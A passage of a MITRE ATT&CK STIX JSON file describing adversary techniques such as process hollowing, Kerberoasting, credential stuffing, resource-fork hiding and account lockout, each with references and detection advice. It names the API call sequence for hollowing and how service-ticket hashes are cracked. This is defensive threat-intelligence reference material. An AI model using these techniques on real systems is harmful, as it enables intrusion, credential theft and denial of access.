                    "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
                    "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
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                {
                    "source_name": "Fortinet Agent Tesla April 2018",
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html"
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            "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)",
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                    "url": "https://attack.mitre.org/techniques/T1585/001",
                    "external_id": "T1585.001"
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                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
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                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
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            "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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            "created": "2017-05-31T21:30:58.007Z",
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                    "url": "https://attack.mitre.org/techniques/T1073",
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/641.html",
                    "external_id": "CAPEC-641"
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                {
                    "source_name": "MSDN Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa375365"
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                {
                    "source_name": "Stewart 2014",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
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            "modified": "2025-04-25T15:16:00.228Z",
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            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.",
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                    "external_id": "T1055.012"
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                {
                    "source_name": "Nviso Spoof Command Line 2020",
                    "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
                    "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Leitch Hollowing",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.",
                    "url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf"
                },
                {
                    "source_name": "Mandiant Endpoint Evading 2019",
                    "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
                    "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:58.724Z",
            "name": "Process Hollowing",
            "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: Process Modification",
                "Process: OS API Execution",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "created": "2017-05-31T21:30:55.066Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1068",
                    "external_id": "T1068"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                },
                {
                    "source_name": "Microsoft Driver Block Rules",
                    "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:58.811Z",
            "name": "Exploitation for Privilege Escalation",
            "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
                "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security",
                "Idan Revivo, @idanr86, Team Nautilus Aqua Security",
                "David Tayouri"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers",
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Driver: Driver Load",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb",
            "created": "2021-10-12T20:02:31.866Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/009",
                    "external_id": "T1564.009"
                },
                {
                    "source_name": "tau bundlore erika noerenberg 2020",
                    "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.",
                    "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"
                },
                {
                    "source_name": "Resource and Data Forks",
                    "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.",
                    "url": "https://flylib.com/books/en/4.395.1.192/1/"
                },
                {
                    "source_name": "ELC Extended Attributes",
                    "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.",
                    "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/"
                },
                {
                    "source_name": "sentinellabs resource named fork 2020",
                    "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.",
                    "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"
                },
                {
                    "source_name": "macOS Hierarchical File System Overview",
                    "description": "Tenon. (n.d.). Retrieved October 12, 2021.",
                    "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:19.185Z",
            "name": "Resource Forking",
            "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jaron Bradley @jbradley89",
                "Ivan Sinyakov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify files with the <code>com.apple.ResourceFork</code> extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
            "created": "2019-10-09T18:48:31.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1531",
                    "external_id": "T1531"
                },
                {
                    "source_name": "CarbonBlack LockerGoga 2019",
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"
                },
                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:58.987Z",
            "name": "Account Access Removal",
            "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Hubert Mank",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "IaaS",
                "Office Suite",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "User Account: User Account Modification",
                "User Account: User Account Deletion"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc",
            "created": "2020-02-11T18:39:59.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/004",
                    "external_id": "T1110.004"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:59.077Z",
            "name": "Credential Stuffing",
            "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Diogo Fernandes",
                "Anastasios Pingios"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1208",
                    "external_id": "T1208"
                },
                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Microsoft SPN",
                    "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms677949.aspx"
                },
                {
                    "source_name": "Microsoft SetSPN",
                    "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"
                },
                {
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "source_name": "Harmj0y Kerberoast Nov 2016",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/"
                },
                {
                    "source_name": "Empire InvokeKerberoast Oct 2016",
                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
                    "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:00.833Z",
            "name": "Kerberoasting",
            "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "created": "2017-05-31T21:30:32.662Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027",
                    "external_id": "T1027"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                },
                {
                    "source_name": "GitHub Revoke-Obfuscation",
                    "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.",
                    "url": "https://github.com/danielbohannon/Revoke-Obfuscation"
                },
                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "FireEye Revoke-Obfuscation July 2017",
                    "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.",
                    "url": "https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf"
                },
                {
                    "source_name": "GitHub Office-Crackros Aug 2016",
                    "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.",
                    "url": "https://github.com/itsreallynick/office-crackros"
                },
                {
                    "source_name": "Linux/Cdorked.A We Live Security Analysis",
                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
                },
                {
                    "source_name": "Carbon Black Obfuscation Sept 2016",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
                },
                {
                    "source_name": "PaloAlto EncodedCommand March 2017",
                    "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"
                }
            ],
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            ],
            "modified": "2025-04-15T19:58:59.251Z",
            "name": "Obfuscated Files or Information",
